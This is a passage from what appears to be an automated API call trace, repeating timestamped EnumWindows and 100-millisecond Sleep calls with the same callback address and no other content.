(dwMilliseconds=0x64) [0211.997] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.998] Sleep (dwMilliseconds=0x64) [0211.999] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.999] Sleep (dwMilliseconds=0x64) [0212.003] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0212.003] Sleep (dwMilliseconds=0x64) [0212.004] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0212.005] Sleep (dwMilliseconds=0x64) [0212.007] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0212.007] Sleep (dwMilliseconds=0x64) [0212.009] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0212.010] Sleep (dwMilliseconds=0x64) [0212.011] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0212.011] Sleep (dwMilliseconds=0x64) [0212.013] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0212.014] Sleep (dwMilliseconds=0x64) [0212.015] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0212.016] Sleep (dwMilliseconds=0x64) [0212.018] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0212.018] Sleep (dwMilliseconds=0x64) [0212.020] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0212.020] Sleep (dwMilliseconds=0x64) [0212.022] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0212.022] Sleep (dwMilliseconds=0x64) [0212.024] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0212.024] Sleep (dwMilliseconds=0x64) [0212.029] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0212.029] Sleep (dwMilliseconds=0x64) [0212.041] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0212.877] Sleep (dwMilliseconds=0x64) [0212.963] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0212.964] Sleep (dwMilliseconds=0x64) [0212.992] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0212.993] Sleep (dwMilliseconds=0x64) [0212.996] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0212.997] Sleep (dwMilliseconds=0x64) [0213.061] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0213.062] Sleep (dwMilliseconds=0x64) [0213.222] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0213.223] Sleep (dwMilliseconds=0x64) [0213.330] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0213.331] Sleep (dwMilliseconds=0x64) [0213.440] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0213.441] Sleep (dwMilliseconds=0x64) [0213.548] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0213.549] Sleep (dwMilliseconds=0x64) [0213.555] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0213.556] Sleep (dwMilliseconds=0x64) [0213.657] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0213.658] Sleep (dwMilliseconds=0x64) [0213.776] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0213.777] Sleep (dwMilliseconds=0x64) [0213.886] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0213.887] Sleep (dwMilliseconds=0x64) [0213.954] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0213.955] Sleep (dwMilliseconds=0x64) [0213.976] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0213.977] Sleep (dwMilliseconds=0x64) [0214.065] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0214.065] Sleep (dwMilliseconds=0x64) [0214.067] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0214.068] Sleep (dwMilliseconds=0x64) [0214.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0214.070] Sleep (dwMilliseconds=0x64) [0214.071] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0214.072] Sleep (dwMilliseconds=0x64) [0214.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0214.195] Sleep (dwMilliseconds=0x64) [0214.302] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0214.303] Sleep (dwMilliseconds=0x64) [0214.407] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0214.407] Sleep (dwMilliseconds=0x64) [0214.442] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0214.442] Sleep (dwMilliseconds=0x64) [0214.627] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0214.629] Sleep (dwMilliseconds=0x64) [0214.731] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0214.732] Sleep (dwMilliseconds=0x64) [0214.843] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0214.844] Sleep (dwMilliseconds=0x64) [0214.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0214.907] Sleep (dwMilliseconds=0x64) [0214.995] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0214.997] Sleep (dwMilliseconds=0x64) [0215.031] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.031] Sleep (dwMilliseconds=0x64) [0215.056] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.057] Sleep (dwMilliseconds=0x64) [0215.073] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.073] Sleep (dwMilliseconds=0x64) [0215.260] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.262] Sleep (dwMilliseconds=0x64) [0215.263] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.264] Sleep (dwMilliseconds=0x64) [0215.265] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.266] Sleep (dwMilliseconds=0x64) [0215.268] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.269] Sleep (dwMilliseconds=0x64) [0215.270] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.271] Sleep (dwMilliseconds=0x64) [0215.274] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.274] Sleep (dwMilliseconds=0x64) [0215.276] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.277] Sleep (dwMilliseconds=0x64) [0215.278] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.278] Sleep (dwMilliseconds=0x64) [0215.280] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.280] Sleep (dwMilliseconds=0x64) [0215.282] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.282] Sleep (dwMilliseconds=0x64) [0215.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.283] Sleep (dwMilliseconds=0x64) [0215.285] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.285] Sleep (dwMilliseconds=0x64) [0215.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.287] Sleep (dwMilliseconds=0x64) [0215.289] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.289] Sleep (dwMilliseconds=0x64) [0215.374] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.374] Sleep (dwMilliseconds=0x64) [0215.399] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.400] Sleep (dwMilliseconds=0x64) [0215.426] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.426] Sleep (dwMilliseconds=0x64) [0215.519] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.520] Sleep (dwMilliseconds=0x64) [0215.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.629] Sleep (dwMilliseconds=0x64) [0215.734] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.735] Sleep (dwMilliseconds=0x64) [0215.817] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.996] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0215.997] Sleep (dwMilliseconds=0x64) [0216.047] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0216.048] Sleep (dwMilliseconds=0x64) [0216.169] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0216.170] Sleep (dwMilliseconds=0x64) [0216.171] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0216.172] Sleep (dwMilliseconds=0x64) [0216.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0216.205] Sleep (dwMilliseconds=0x64) [0216.427] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0216.428] Sleep (dwMilliseconds=0x64) [0216.445] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0216.446] Sleep (dwMilliseconds=0x64) [0216.447] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0216.448] Sleep (dwMilliseconds=0x64) [0216.449] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0216.450] Sleep (dwMilliseconds=0x64) [0216.451] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0216.451] Sleep (dwMilliseconds=0x64) [0216.453] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0216.453] Sleep (dwMilliseconds=0x64) [0216.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0216.455] Sleep (dwMilliseconds=0x64) [0216.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0216.457] Sleep (dwMilliseconds=0x64) [0216.459] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0216.459] Sleep (dwMilliseconds=0x64) [0216.460] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0216.460] Sleep (dwMilliseconds=0x64) [0216.463] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0216.463] Sleep (dwMilliseconds=0x64) [0216.465] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0216.465] Sleep (dwMilliseconds=0x64) [0216.466] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0216.466] Sleep (dwMilliseconds=0x64) [0216.468] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0216.468] Sleep (dwMilliseconds=0x64) [0216.469] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0216.469] Sleep (dwMilliseconds=0x64) [0216.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0217.552] Sleep (dwMilliseconds=0x64) [0217.590] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0217.591] Sleep (dwMilliseconds=0x64) [0217.870] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0217.871] Sleep (dwMilliseconds=0x64) [0217.979] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0217.980] Sleep (dwMilliseconds=0x64) [0218.086] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.087] Sleep (dwMilliseconds=0x64) [0218.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.205] Sleep (dwMilliseconds=0x64) [0218.321] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.322] Sleep (dwMilliseconds=0x64) [0218.332] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.333] Sleep (dwMilliseconds=0x64) [0218.433] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.434] Sleep (dwMilliseconds=0x64) [0218.597] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.598] Sleep (dwMilliseconds=0x64) [0218.739] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.740] Sleep (dwMilliseconds=0x64) [0218.777] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.778] Sleep (dwMilliseconds=0x64) [0218.845] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.846] Sleep (dwMilliseconds=0x64) [0218.891] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.892] Sleep (dwMilliseconds=0x64) [0218.893] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.894] Sleep (dwMilliseconds=0x64) [0218.900] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.900] Sleep (dwMilliseconds=0x64) [0218.902] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.902] Sleep (dwMilliseconds=0x64) [0218.904] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.904] Sleep (dwMilliseconds=0x64) [0218.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.906] Sleep (dwMilliseconds=0x64) [0218.908] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.908] Sleep (dwMilliseconds=0x64) [0218.910] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.910] Sleep (dwMilliseconds=0x64) [0218.911] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.911] Sleep (dwMilliseconds=0x64) [0218.913] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.913] Sleep (dwMilliseconds=0x64) [0218.914] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.914] Sleep (dwMilliseconds=0x64) [0218.916] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.916] Sleep (dwMilliseconds=0x64) [0218.917] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.917] Sleep (dwMilliseconds=0x64) [0218.919] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.919] Sleep (dwMilliseconds=0x64) [0218.920] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.920] Sleep (dwMilliseconds=0x64) [0218.922] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.923] Sleep (dwMilliseconds=0x64) [0218.924] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.924] Sleep (dwMilliseconds=0x64) [0218.925] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.925] Sleep (dwMilliseconds=0x64) [0218.927] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.927] Sleep (dwMilliseconds=0x64) [0218.929] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.929] Sleep (dwMilliseconds=0x64) [0218.930] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.931] Sleep (dwMilliseconds=0x64) [0218.932] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.935] Sleep (dwMilliseconds=0x64) [0218.937] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.937] Sleep (dwMilliseconds=0x64) [0218.938] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.939] Sleep (dwMilliseconds=0x64) [0218.940] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.941] Sleep (dwMilliseconds=0x64) [0218.942] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.942] Sleep (dwMilliseconds=0x64) [0218.944] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.944] Sleep (dwMilliseconds=0x64) [0218.945] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.946] Sleep (dwMilliseconds=0x64) [0218.947] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.947] Sleep (dwMilliseconds=0x64) [0218.949] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.949] Sleep (dwMilliseconds=0x64) [0218.951] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.951] Sleep (dwMilliseconds=0x64) [0218.953] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.953] Sleep (dwMilliseconds=0x64) [0218.954] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.955] Sleep (dwMilliseconds=0x64) [0218.956] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.956] Sleep (dwMilliseconds=0x64) [0218.958] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.958] Sleep (dwMilliseconds=0x64) [0218.960] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.960] Sleep (dwMilliseconds=0x64) [0218.961] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.962] Sleep (dwMilliseconds=0x64) [0218.964] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.964] Sleep (dwMilliseconds=0x64) [0218.966] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.966] Sleep (dwMilliseconds=0x64) [0218.968] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.968] Sleep (dwMilliseconds=0x64) [0218.969] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.970] Sleep (dwMilliseconds=0x64) [0218.973] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.973] Sleep (dwMilliseconds=0x64) [0218.975] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.975] Sleep (dwMilliseconds=0x64) [0218.977] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.977] Sleep (dwMilliseconds=0x64) [0218.979] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.979] Sleep (dwMilliseconds=0x64) [0218.981] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.981] Sleep (dwMilliseconds=0x64) [0218.982] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.983] Sleep (dwMilliseconds=0x64) [0218.984] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.984] Sleep (dwMilliseconds=0x64) [0218.986] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.986] Sleep (dwMilliseconds=0x64) [0218.988] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.988] Sleep (dwMilliseconds=0x64) [0218.990] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.990] Sleep (dwMilliseconds=0x64) [0218.992] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.992] Sleep (dwMilliseconds=0x64) [0218.994] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.994] Sleep (dwMilliseconds=0x64) [0218.995] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.995] Sleep (dwMilliseconds=0x64) [0218.997] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.997] Sleep (dwMilliseconds=0x64) [0218.999] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0218.999] Sleep (dwMilliseconds=0x64) [0219.001] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.001] Sleep (dwMilliseconds=0x64) [0219.003] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.003] Sleep (dwMilliseconds=0x64) [0219.006] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.006] Sleep (dwMilliseconds=0x64) [0219.008] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.008] Sleep (dwMilliseconds=0x64) [0219.012] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.013] Sleep (dwMilliseconds=0x64) [0219.015] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.015] Sleep (dwMilliseconds=0x64) [0219.017] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.017] Sleep (dwMilliseconds=0x64) [0219.019] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.019] Sleep (dwMilliseconds=0x64) [0219.021] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.021] Sleep (dwMilliseconds=0x64) [0219.023] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.023] Sleep (dwMilliseconds=0x64) [0219.025] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.025] Sleep (dwMilliseconds=0x64) [0219.027] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.027] Sleep (dwMilliseconds=0x64) [0219.029] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.029] Sleep (dwMilliseconds=0x64) [0219.031] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.031] Sleep (dwMilliseconds=0x64) [0219.033] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.033] Sleep (dwMilliseconds=0x64) [0219.035] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.035] Sleep (dwMilliseconds=0x64) [0219.037] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.037] Sleep (dwMilliseconds=0x64) [0219.040] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.040] Sleep (dwMilliseconds=0x64) [0219.042] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.042] Sleep (dwMilliseconds=0x64) [0219.044] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.044] Sleep (dwMilliseconds=0x64) [0219.046] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.046] Sleep (dwMilliseconds=0x64) [0219.048] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.048] Sleep (dwMilliseconds=0x64) [0219.052] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.052] Sleep (dwMilliseconds=0x64) [0219.054] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.054] Sleep (dwMilliseconds=0x64) [0219.056] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.056] Sleep (dwMilliseconds=0x64) [0219.058] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.058] Sleep (dwMilliseconds=0x64) [0219.060] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.060] Sleep (dwMilliseconds=0x64) [0219.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.062] Sleep (dwMilliseconds=0x64) [0219.064] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.064] Sleep (dwMilliseconds=0x64) [0219.066] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.066] Sleep (dwMilliseconds=0x64) [0219.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.069] Sleep (dwMilliseconds=0x64) [0219.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.070] Sleep (dwMilliseconds=0x64) [0219.072] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.072] Sleep (dwMilliseconds=0x64) [0219.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.097] Sleep (dwMilliseconds=0x64) [0219.099] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.100] Sleep (dwMilliseconds=0x64) [0219.101] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.102] Sleep (dwMilliseconds=0x64) [0219.103] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.104] Sleep (dwMilliseconds=0x64) [0219.105] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.106] Sleep (dwMilliseconds=0x64) [0219.107] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.108] Sleep (dwMilliseconds=0x64) [0219.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.110] Sleep (dwMilliseconds=0x64) [0219.111] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.112] Sleep (dwMilliseconds=0x64) [0219.113] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.114] Sleep (dwMilliseconds=0x64) [0219.115] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.116] Sleep (dwMilliseconds=0x64) [0219.118] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.118] Sleep (dwMilliseconds=0x64) [0219.119] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.119] Sleep (dwMilliseconds=0x64) [0219.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.121] Sleep (dwMilliseconds=0x64) [0219.123] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.124] Sleep (dwMilliseconds=0x64) [0219.125] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.125] Sleep (dwMilliseconds=0x64) [0219.127] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.127] Sleep (dwMilliseconds=0x64) [0219.129] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.130] Sleep (dwMilliseconds=0x64) [0219.131] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.131] Sleep (dwMilliseconds=0x64) [0219.136] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.136] Sleep (dwMilliseconds=0x64) [0219.151] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.152] Sleep (dwMilliseconds=0x64) [0219.154] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.155] Sleep (dwMilliseconds=0x64) [0219.157] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.157] Sleep (dwMilliseconds=0x64) [0219.159] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.159] Sleep (dwMilliseconds=0x64) [0219.161] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.161] Sleep (dwMilliseconds=0x64) [0219.163] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.163] Sleep (dwMilliseconds=0x64) [0219.164] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.165] Sleep (dwMilliseconds=0x64) [0219.167] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.167] Sleep (dwMilliseconds=0x64) [0219.169] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.169] Sleep (dwMilliseconds=0x64) [0219.171] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.171] Sleep (dwMilliseconds=0x64) [0219.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.174] Sleep (dwMilliseconds=0x64) [0219.178] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.179] Sleep (dwMilliseconds=0x64) [0219.180] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.180] Sleep (dwMilliseconds=0x64) [0219.183] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.183] Sleep (dwMilliseconds=0x64) [0219.185] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.186] Sleep (dwMilliseconds=0x64) [0219.188] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.188] Sleep (dwMilliseconds=0x64) [0219.189] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.190] Sleep (dwMilliseconds=0x64) [0219.192] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.193] Sleep (dwMilliseconds=0x64) [0219.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.195] Sleep (dwMilliseconds=0x64) [0219.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.198] Sleep (dwMilliseconds=0x64) [0219.199] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.200] Sleep (dwMilliseconds=0x64) [0219.270] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.270] Sleep (dwMilliseconds=0x64) [0219.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.276] Sleep (dwMilliseconds=0x64) [0219.278] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.278] Sleep (dwMilliseconds=0x64) [0219.280] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.280] Sleep (dwMilliseconds=0x64) [0219.282] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.282] Sleep (dwMilliseconds=0x64) [0219.290] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.290] Sleep (dwMilliseconds=0x64) [0219.293] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.293] Sleep (dwMilliseconds=0x64) [0219.300] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.300] Sleep (dwMilliseconds=0x64) [0219.349] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.350] Sleep (dwMilliseconds=0x64) [0219.458] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0219.459] Sleep (dwMilliseconds=0x64) [0219.463] EnumWindows 